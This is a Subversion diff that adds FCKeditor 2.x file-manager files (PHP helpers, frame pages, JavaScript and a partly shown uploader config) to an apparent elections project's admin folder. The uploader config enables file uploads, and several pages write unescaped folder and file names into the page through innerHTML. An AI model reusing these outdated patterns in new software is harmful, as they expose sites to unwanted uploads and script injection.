--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/util.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/connectors/php/util.php	(revision 44)
@@ -0,0 +1,37 @@
+<?php 
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: util.php
+ * 	This is the File Manager Connector for ASP.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+function RemoveFromStart( $sourceString, $charToRemove )
+{
+	$sPattern = '|^' . $charToRemove . '+|' ;
+	return preg_replace( $sPattern, '', $sourceString ) ;
+}
+
+function RemoveFromEnd( $sourceString, $charToRemove )
+{
+	$sPattern = '|' . $charToRemove . '+$|' ;
+	return preg_replace( $sPattern, '', $sourceString ) ;
+}
+
+function ConvertToXmlAttribute( $value )
+{
+	return utf8_encode( htmlspecialchars( $value ) ) ;
+}
+?>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmactualfolder.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmactualfolder.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmactualfolder.html	(revision 44)
@@ -0,0 +1,63 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: frmactualfolder.html
+ * 	This page shows the actual folder path.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+	<head>
+		<link href="browser.css" type="text/css" rel="stylesheet">
+		<script type="text/javascript">
+
+function OnResize()
+{
+	divName.style.width = "1px" ;
+	divName.style.width = tdName.offsetWidth + "px" ;
+}
+
+function SetCurrentFolder( resourceType, folderPath )
+{
+	document.getElementById('tdName').innerHTML = folderPath ;
+}
+
+window.onload = function()
+{
+	window.top.IsLoadedActualFolder = true ;
+}
+
+		</script>
+	</head>
+	<body bottomMargin="0" topMargin="0">
+		<table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+			<tr>
+				<td>
+					<button style="width: 100%" type="button">
+						<table cellSpacing="0" cellPadding="0" width="100%" border="0">
+							<tr>
+								<td><img height="32" alt="" src="images/FolderOpened32.gif" width="32"></td>
+								<td>&nbsp;</td>
+								<td id="tdName" width="100%" nowrap class="ActualFolder">/</td>
+								<td>&nbsp;</td>
+								<td><img height="8" src="images/ButtonArrow.gif" width="12"></td>
+								<td>&nbsp;</td>
+							</tr>
+						</table>
+					</button>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmcreatefolder.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmcreatefolder.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmcreatefolder.html	(revision 44)
@@ -0,0 +1,109 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: frmcreatefolder.html
+ * 	Page used to create new folders in the current folder.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+	<head>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<link href="browser.css" type="text/css" rel="stylesheet">
+		<script type="text/javascript" src="js/common.js"></script>
+		<script language="javascript">
+
+function SetCurrentFolder( resourceType, folderPath )
+{
+	oConnector.ResourceType = resourceType ;
+	oConnector.CurrentFolder = folderPath
+}
+
+function CreateFolder()
+{
+	var sFolderName ;
+	
+	while ( true ) 
+	{
+		sFolderName = prompt( 'Type the name of the new folder:', '' ) ;
+	
+		if ( sFolderName == null )
+			return ;
+		else if ( sFolderName.length == 0 )
+			alert( 'Please type the folder name' ) ;
+		else
+			break ;
+	}
+	
+	oConnector.SendCommand( 'CreateFolder', 'NewFolderName=' + escape( sFolderName) , CreateFolderCallBack ) ;
+}
+
+function CreateFolderCallBack( fckXml )
+{
+	if ( oConnector.CheckError( fckXml ) == 0 )
+		window.parent.frames['frmResourcesList'].Refresh() ;
+	
+	/*
+	// Get the current folder path.
+	var oNode = fckXml.SelectSingleNode( 'Connector/Error' ) ;
+	var iErrorNumber = parseInt( oNode.attributes.getNamedItem('number').value ) ;
+	
+	switch ( iErrorNumber )
+	{
+		case 0 :
+			window.parent.frames['frmResourcesList'].Refresh() ;
+			break ;
+		case 101 :
+			alert( 'Folder already exists' ) ;
+			break ;
+		case 102 :
+			alert( 'Invalid folder name' ) ;
+			break ;
+		case 103 :
+			alert( 'You have no permissions to create the folder' ) ;
+			break ;
+		case 110 :
+			alert( 'Unknown error creating folder' ) ;
+			break ;
+		default :
+			alert( 'Error creating folder. Error number: ' + iErrorNumber ) ;
+			break ;
+	}
+	*/
+}
+
+window.onload = function()
+{
+	window.top.IsLoadedCreateFolder = true ;
+}
+		</script>
+	</head>
+	<body bottomMargin="0" topMargin="0">
+		<table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+			<tr>
+				<td>
+					<button type="button" style="width: 100%" onclick="CreateFolder();">
+						<table cellSpacing="0" cellPadding="0" border="0">
+							<tr>
+								<td><img height="16" alt="" src="images/Folder.gif" width="16"></td>
+								<td>&nbsp;</td>
+								<td nowrap>Create New Folder</td>
+							</tr>
+						</table>
+					</button>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmfolders.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmfolders.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmfolders.html	(revision 44)
@@ -0,0 +1,192 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: frmfolders.html
+ * 	This page shows the list of folders available in the parent folder 
+ * 	of the current folder.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+	<head>
+		<link href="browser.css" type="text/css" rel="stylesheet">
+		<script type="text/javascript" src="js/common.js"></script>
+		<script language="javascript">
+
+var sActiveFolder ;
+
+var bIsLoaded = false ;
+var iIntervalId ;
+
+var oListManager = new Object() ;
+
+oListManager.Init = function()
+{
+	this.Table = document.getElementById('tableFiles') ;
+	this.UpRow = document.getElementById('trUp') ;
+
+	this.TableRows = new Object() ;	
+}
+
+oListManager.Clear = function()
+{
+	// Remove all other rows available.
+	while ( this.Table.rows.length > 1 )
+		this.Table.deleteRow(1) ;
+
+	// Reset the TableRows collection.
+	this.TableRows = new Object() ;
+}
+
+oListManager.AddItem = function( folderName, folderPath )
+{
+	// Create the new row.
+	var oRow = this.Table.insertRow(-1) ;
+	oRow.className = 'FolderListFolder' ;
+
+	// Build the link to view the folder.
+	var sLink = '<a href="#" onclick="OpenFolder(\'' + folderPath + '\');return false;">' ;
+
+	// Add the folder icon cell.
+	var oCell = oRow.insertCell(-1) ;
+	oCell.width = 16 ;
+	oCell.innerHTML = sLink + '<img alt="" src="images/spacer.gif" width="16" height="16" border="0"></a>' ;
+
+	// Add the folder name cell.
+	oCell = oRow.insertCell(-1) ;
+	oCell.noWrap = true ;
+	oCell.innerHTML = '&nbsp;' + sLink + folderName + '</a>' ;
+	
+	this.TableRows[ folderPath ] = oRow ;
+}
+
+oListManager.ShowUpFolder = function( upFolderPath )
+{
+	this.UpRow.style.display = ( upFolderPath != null ? '' : 'none' ) ;
+	
+	if ( upFolderPath != null )
+	{
+		document.getElementById('linkUpIcon').onclick = document.getElementById('linkUp').onclick = function()
+		{
+			LoadFolders( upFolderPath ) ;
+			return false ;
+		}
+	}
+}
+
+function CheckLoaded()
+{
+	if ( window.top.IsLoadedActualFolder 
+		&& window.top.IsLoadedCreateFolder 
+		&& window.top.IsLoadedUpload
+		&& window.top.IsLoadedResourcesList )
+	{
+		window.clearInterval( iIntervalId ) ;
+		bIsLoaded = true ;
+		OpenFolder( sActiveFolder ) ;
+	}
+}
+
+function OpenFolder( folderPath )
+{
+	sActiveFolder = folderPath ;
+
+	if ( ! bIsLoaded )
+	{
+		if ( ! iIntervalId )
+			iIntervalId = window.setInterval( CheckLoaded, 100 ) ;
+		return ;
+	}
+
+	// Change the style for the select row (to show the opened folder).
+	for ( var sFolderPath in oListManager.TableRows )
+	{
+		oListManager.TableRows[ sFolderPath ].className = 
+			( sFolderPath == folderPath ? 'FolderListCurrentFolder' : 'FolderListFolder' ) ;
+	}
+
+	// Set the current folder in all frames.
+	window.parent.frames['frmActualFolder'].SetCurrentFolder( oConnector.ResourceType, folderPath ) ;
+	window.parent.frames['frmCreateFolder'].SetCurrentFolder( oConnector.ResourceType, folderPath ) ;
+	window.parent.frames['frmUpload'].SetCurrentFolder( oConnector.ResourceType, folderPath ) ;
+	
+	// Load the resources list for this folder.
+	window.parent.frames['frmResourcesList'].LoadResources( oConnector.ResourceType, folderPath ) ;
+}
+
+function LoadFolders( folderPath )
+{
+	// Clear the folders list.
+	oListManager.Clear() ;
+
+	// Get the parent folder path.
+	var sParentFolderPath ;
+	if ( folderPath != '/' )
+		sParentFolderPath = folderPath.substring( 0, folderPath.lastIndexOf( '/', folderPath.length - 2 ) + 1 ) ;
+
+	// Show/Hide the Up Folder.
+	oListManager.ShowUpFolder( sParentFolderPath ) ;
+	
+	if ( folderPath != '/' )
+	{
+		sActiveFolder = folderPath ;
+		oConnector.CurrentFolder = sParentFolderPath
+		oConnector.SendCommand( 'GetFolders', null, GetFoldersCallBack ) ;
+	}
+	else
+		OpenFolder( '/' ) ;
+}
+
+function GetFoldersCallBack( fckXml )
+{
+	if ( oConnector.CheckError( fckXml ) != 0 )
+		return ;
+		
+	// Get the current folder path.
+	var oNode = fckXml.SelectSingleNode( 'Connector/CurrentFolder' ) ;
+	var sCurrentFolderPath = oNode.attributes.getNamedItem('path').value ;
+	
+	var oNodes = fckXml.SelectNodes( 'Connector/Folders/Folder' ) ;
+	
+	for ( var i = 0 ; i < oNodes.length ; i++ )
+	{
+		var sFolderName = oNodes[i].attributes.getNamedItem('name').value ;
+		oListManager.AddItem( sFolderName, sCurrentFolderPath + sFolderName + "/" ) ;
+	}
+	
+	OpenFolder( sActiveFolder ) ;
+}
+
+function SetResourceType( type )
+{
+	oConnector.ResourceType = type ;
+	LoadFolders( '/' ) ;
+}
+
+window.onload = function()
+{
+	oListManager.Init() ;
+	LoadFolders( '/' ) ;
+}
+		</script>
+	</head>
+	<body class="FileArea" bottomMargin="10" leftMargin="10" topMargin="10" rightMargin="10">
+		<table id="tableFiles" cellSpacing="0" cellPadding="0" width="100%" border="0">
+			<tr id="trUp" style="DISPLAY: none">
+				<td width="16"><a id="linkUpIcon" href="#"><img alt="" src="images/FolderUp.gif" width="16" height="16" border="0"></a></td>
+				<td nowrap width="100%">&nbsp;<a id="linkUp" href="#">..</a></td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmresourceslist.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmresourceslist.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmresourceslist.html	(revision 44)
@@ -0,0 +1,150 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: frmresourceslist.html
+ * 	This page shows all resources available in a folder in the File Browser.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+	<link href="browser.css" type="text/css" rel="stylesheet" />
+	<script type="text/javascript" src="js/common.js"></script>
+	<script type="text/javascript">
+
+var oListManager = new Object() ;
+
+oListManager.Clear = function()
+{
+	document.body.innerHTML = '' ;
+}
+
+oListManager.GetFolderRowHtml = function( folderName, folderPath )
+{
+	// Build the link to view the folder.
+	var sLink = '<a href="#" onclick="OpenFolder(\'' + folderPath.replace( /'/g, '\\\'') + '\');return false;">' ;
+
+	return '<tr>' +
+			'<td width="16">' +
+				sLink +
+				'<img alt="" src="images/Folder.gif" width="16" height="16" border="0"></a>' +
+			'</td><td nowrap colspan="2">&nbsp;' +
+				sLink + 
+				folderName + 
+				'</a>' +
+		'</td></tr>' ;
+}
+
+oListManager.GetFileRowHtml = function( fileName, fileUrl, fileSize )
+{
+	// Build the link to view the folder.
+	var sLink = '<a href="#" onclick="OpenFile(\'' + fileUrl.replace( /'/g, '\\\'') + '\');return false;">' ;
+
+	// Get the file icon.
+	var sIcon = oIcons.GetIcon( fileName ) ;
+
+	return '<tr>' +
+			'<td width="16">' +
+				sLink + 
+				'<img alt="" src="images/icons/' + sIcon + '.gif" width="16" height="16" border="0"></a>' +
+			'</td><td>&nbsp;' +
+				sLink + 
+				fileName + 
+				'</a>' +
+			'</td><td align="right" nowrap>&nbsp;' +
+				fileSize + 
+				' KB' +
+		'</td></tr>' ;
+}
+
+function OpenFolder( folderPath )
+{
+	// Load the resources list for this folder.
+	window.parent.frames['frmFolders'].LoadFolders( folderPath ) ;
+}
+
+function OpenFile( fileUrl )
+{
+	window.top.opener.SetUrl( fileUrl ) ;
+	window.top.close() ;
+	window.top.opener.focus() ;
+}
+
+function LoadResources( resourceType, folderPath )
+{
+	oListManager.Clear() ;
+	oConnector.ResourceType = resourceType ;
+	oConnector.CurrentFolder = folderPath ;
+	oConnector.SendCommand( 'GetFoldersAndFiles', null, GetFoldersAndFilesCallBack ) ;
+}
+
+function Refresh()
+{
+	LoadResources( oConnector.ResourceType, oConnector.CurrentFolder ) ;
+}
+
+function GetFoldersAndFilesCallBack( fckXml )
+{
+	if ( oConnector.CheckError( fckXml ) != 0 )
+		return ;
+
+	// Get the current folder path.
+	var oNode = fckXml.SelectSingleNode( 'Connector/CurrentFolder' ) ;
+	var sCurrentFolderPath	= oNode.attributes.getNamedItem('path').value ;
+	var sCurrentFolderUrl	= oNode.attributes.getNamedItem('url').value ;
+
+//	var dTimer = new Date() ;
+
+	var oHtml = new StringBuilder( '<table id="tableFiles" cellspacing="1" cellpadding="0" width="100%" border="0">' ) ;
+
+	// Add the Folders.	
+	var oNodes = fckXml.SelectNodes( 'Connector/Folders/Folder' ) ;
+	for ( var i = 0 ; i < oNodes.length ; i++ )
+	{
+		var sFolderName = oNodes[i].attributes.getNamedItem('name').value ;
+		oHtml.Append( oListManager.GetFolderRowHtml( sFolderName, sCurrentFolderPath + sFolderName + "/" ) ) ;
+	}
+
+	// Add the Files.	
+	var oNodes = fckXml.SelectNodes( 'Connector/Files/File' ) ;
+	for ( var i = 0 ; i < oNodes.length ; i++ )
+	{
+		var oNode = oNodes[i] ;
+		var sFileName = oNode.attributes.getNamedItem('name').value ;
+		var sFileSize = oNode.attributes.getNamedItem('size').value ;
+
+		// Get the optional "url" attribute. If not available, build the url.
+		var oFileUrlAtt = oNodes[i].attributes.getNamedItem('url') ;
+		var sFileUrl = oFileUrlAtt != null ? oFileUrlAtt.value : sCurrentFolderUrl + sFileName ;
+		
+		oHtml.Append( oListManager.GetFileRowHtml( sFileName, sFileUrl, sFileSize ) ) ;
+	}
+
+	oHtml.Append( '</table>' ) ;
+	
+	document.body.innerHTML = oHtml.ToString() ;
+
+//	window.top.document.title = 'Finished processing in ' + ( ( ( new Date() ) - dTimer ) / 1000 ) + ' seconds' ;
+
+}
+
+window.onload = function()
+{
+	window.top.IsLoadedResourcesList = true ;
+}
+	</script>
+</head>
+<body class="FileArea" bottommargin="10" leftmargin="10" topmargin="10" rightmargin="10">
+</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmresourcetype.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmresourcetype.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmresourcetype.html	(revision 44)
@@ -0,0 +1,61 @@
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: frmresourcetype.html
+ * 	This page shows the list of available resource types.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<html>
+	<head>
+		<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+		<link href="browser.css" type="text/css" rel="stylesheet">
+		<script type="text/javascript" src="js/common.js"></script>
+		<script language="javascript">
+
+function SetResourceType( type )
+{
+	window.parent.frames["frmFolders"].SetResourceType( type ) ;
+}
+
+var aTypes = [
+	['File','File'],
+	['Image','Image'],
+	['Flash','Flash'],
+	['Media','Media']
+] ;
+
+window.onload = function()
+{
+	for ( var i = 0 ; i < aTypes.length ; i++ )
+	{
+		if ( oConnector.ShowAllTypes || aTypes[i][0] == oConnector.ResourceType )
+			AddSelectOption( document.getElementById('cmbType'), aTypes[i][1], aTypes[i][0] ) ;
+	}
+}
+
+		</script>
+	</head>
+	<body bottomMargin="0" topMargin="0">
+		<table height="100%" cellSpacing="0" cellPadding="0" width="100%" border="0">
+			<tr>
+				<td nowrap>
+					Resource Type<BR>
+					<select id="cmbType" style="width: 100%" onchange="SetResourceType(this.value);">
+					</select>
+				</td>
+			</tr>
+		</table>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmupload.html
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmupload.html	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/frmupload.html	(revision 44)
@@ -0,0 +1,109 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
+<!--
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: frmupload.html
+ * 	Page used to upload new files in the current folder.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+	<head>
+		<link href="browser.css" type="text/css" rel="stylesheet" />
+		<script type="text/javascript" src="js/common.js"></script>
+		<script type="text/javascript">
+
+function SetCurrentFolder( resourceType, folderPath )
+{
+	var sUrl = oConnector.ConnectorUrl + 'Command=FileUpload' ;
+	sUrl += '&Type=' + resourceType ;
+	sUrl += '&CurrentFolder=' + escape( folderPath ) ;
+	
+	document.getElementById('frmUpload').action = sUrl ;
+}
+
+function OnSubmit()
+{
+	if ( document.getElementById('NewFile').value.length == 0 )
+	{
+		alert( 'Please select a file from your computer' ) ;
+		return false ;
+	}
+
+	// Set the interface elements.
+	document.getElementById('eUploadMessage').innerHTML = 'Upload a new file in this folder (Upload in progress, please wait...)' ;
+	document.getElementById('btnUpload').disabled = true ;
+	
+	return true ;
+}
+
+function OnUploadCompleted( errorNumber, data )
+{
+	// Reset the Upload Worker Frame.
+	window.parent.frames['frmUploadWorker'].location = '../../../../../fckblank.html' ;
+	
+	// Reset the upload form (On IE we must do a little trick to avout problems).
+	if ( document.all )
+		document.getElementById('NewFile').outerHTML = '<input id="NewFile" name="NewFile" style="width: 100%" type="file">' ;
+	else
+		document.getElementById('frmUpload').reset() ;
+	
+	// Reset the interface elements.
+	document.getElementById('eUploadMessage').innerHTML = 'Upload a new file in this folder' ;
+	document.getElementById('btnUpload').disabled = false ;
+	
+	switch ( errorNumber )
+	{
+		case 0 :
+			window.parent.frames['frmResourcesList'].Refresh() ;
+			break ;
+		case 1 :	// Custom error.
+			alert( data ) ;
+			break ;
+		case 201 :
+			window.parent.frames['frmResourcesList'].Refresh() ;
+			alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + data + '"' ) ;
+			break ;
+		case 202 :
+			alert( 'Invalid file' ) ;
+			break ;
+		default :
+			alert( 'Error on file upload. Error number: ' + errorNumber ) ;
+			break ;
+	}
+}
+
+window.onload = function()
+{
+	window.top.IsLoadedUpload = true ;
+}
+		</script>
+	</head>
+	<body bottommargin="0" topmargin="0">
+		<form id="frmUpload" action="" target="frmUploadWorker" method="post" enctype="multipart/form-data" onsubmit="return OnSubmit();">
+			<table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">
+				<tr>
+					<td nowrap="nowrap">
+						<span id="eUploadMessage">Upload a new file in this folder</span><br>
+						<table cellspacing="0" cellpadding="0" width="100%" border="0">
+							<tr>
+								<td width="100%"><input id="NewFile" name="NewFile" style="width: 100%" type="file"></td>
+								<td nowrap="nowrap">&nbsp;<input id="btnUpload" type="submit" value="Upload"></td>
+							</tr>
+						</table>
+					</td>
+				</tr>
+			</table>
+		</form>
+	</body>
+</html>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/js/common.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/js/common.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/js/common.js	(revision 44)
@@ -0,0 +1,51 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: common.js
+ * 	Common objects and functions shared by all pages that compose the
+ * 	File Browser dialog window.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+function AddSelectOption( selectElement, optionText, optionValue )
+{
+	var oOption = document.createElement("OPTION") ;
+
+	oOption.text	= optionText ;
+	oOption.value	= optionValue ;	
+
+	selectElement.options.add(oOption) ;
+
+	return oOption ;
+}
+
+var oConnector	= window.parent.oConnector ;
+var oIcons		= window.parent.oIcons ;
+
+
+function StringBuilder( value )
+{
+    this._Strings = new Array( value || '' ) ;
+}
+
+StringBuilder.prototype.Append = function( value )
+{
+    if ( value )
+        this._Strings.push( value ) ;
+}
+
+StringBuilder.prototype.ToString = function()
+{
+    return this._Strings.join( '' ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/js/fckxml.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/js/fckxml.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/browser/default/js/fckxml.js	(revision 44)
@@ -0,0 +1,116 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckxml.js
+ * 	Defines the FCKXml object that is used for XML data calls
+ * 	and XML processing.
+ * 	This script is shared by almost all pages that compose the 
+ * 	File Browser frameset.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKXml = function()
+{}
+
+FCKXml.prototype.GetHttpRequest = function()
+{
+	// Gecko / IE7
+	if ( typeof(XMLHttpRequest) != 'undefined' )
+		return new XMLHttpRequest() ;
+
+	// IE6
+	try { return new ActiveXObject("Msxml2.XMLHTTP") ; } 
+	catch(e) {}
+
+	// IE5
+	try { return new ActiveXObject("Microsoft.XMLHTTP") ; }
+	catch(e) {}
+}
+
+FCKXml.prototype.LoadUrl = function( urlToCall, asyncFunctionPointer )
+{
+	var oFCKXml = this ;
+
+	var bAsync = ( typeof(asyncFunctionPointer) == 'function' ) ;
+
+	var oXmlHttp = this.GetHttpRequest() ;
+		
+	oXmlHttp.open( "GET", urlToCall, bAsync ) ;
+	
+	if ( bAsync )
+	{	
+		oXmlHttp.onreadystatechange = function() 
+		{
+			if ( oXmlHttp.readyState == 4 )
+			{
+				oFCKXml.DOMDocument = oXmlHttp.responseXML ;
+				if ( oXmlHttp.status == 200 || oXmlHttp.status == 304 )
+					asyncFunctionPointer( oFCKXml ) ;
+				else
+					alert( 'XML request error: ' + oXmlHttp.statusText + ' (' + oXmlHttp.status + ')' ) ;
+			}
+		}
+	}
+	
+	oXmlHttp.send( null ) ;
+	
+	if ( ! bAsync )
+	{
+		if ( oXmlHttp.status == 200 || oXmlHttp.status == 304 )
+			this.DOMDocument = oXmlHttp.responseXML ;
+		else
+		{
+			alert( 'XML request error: ' + oXmlHttp.statusText + ' (' + oXmlHttp.status + ')' ) ;
+		}
+	}
+}
+
+FCKXml.prototype.SelectNodes = function( xpath )
+{
+	if ( navigator.userAgent.indexOf('MSIE') >= 0 )		// IE
+		return this.DOMDocument.selectNodes( xpath ) ;
+	else					// Gecko
+	{
+		var aNodeArray = new Array();
+
+		var xPathResult = this.DOMDocument.evaluate( xpath, this.DOMDocument, 
+				this.DOMDocument.createNSResolver(this.DOMDocument.documentElement), XPathResult.ORDERED_NODE_ITERATOR_TYPE, null) ;
+		if ( xPathResult ) 
+		{
+			var oNode = xPathResult.iterateNext() ;
+ 			while( oNode )
+ 			{
+ 				aNodeArray[aNodeArray.length] = oNode ;
+ 				oNode = xPathResult.iterateNext();
+ 			}
+		} 
+		return aNodeArray ;
+	}
+}
+
+FCKXml.prototype.SelectSingleNode = function( xpath ) 
+{
+	if ( navigator.userAgent.indexOf('MSIE') >= 0 )		// IE
+		return this.DOMDocument.selectSingleNode( xpath ) ;
+	else					// Gecko
+	{
+		var xPathResult = this.DOMDocument.evaluate( xpath, this.DOMDocument,
+				this.DOMDocument.createNSResolver(this.DOMDocument.documentElement), 9, null);
+
+		if ( xPathResult && xPathResult.singleNodeValue )
+			return xPathResult.singleNodeValue ;
+		else	
+			return null ;
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/upload/php/config.php
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/upload/php/config.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/filemanager/upload/php/config.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php 
+/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: config.php
+ * 	Configuration file for the PHP File Uploader.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+global $Config ;
+
+// SECURITY: You must explicitly enable this "uploader". 
+$Config['Enabled'] = true ;
+
+// Set if the file type must be considered in the target path. 
+// Ex: /UserFiles/Image/ or /UserFiles/File/
+$Config['UseFileType'] = true ;
+
+// Path to uploaded files relative to the document root.
+$Config['UserFilesPath'] = '/includes/FCKeditor/upload/' ;
+
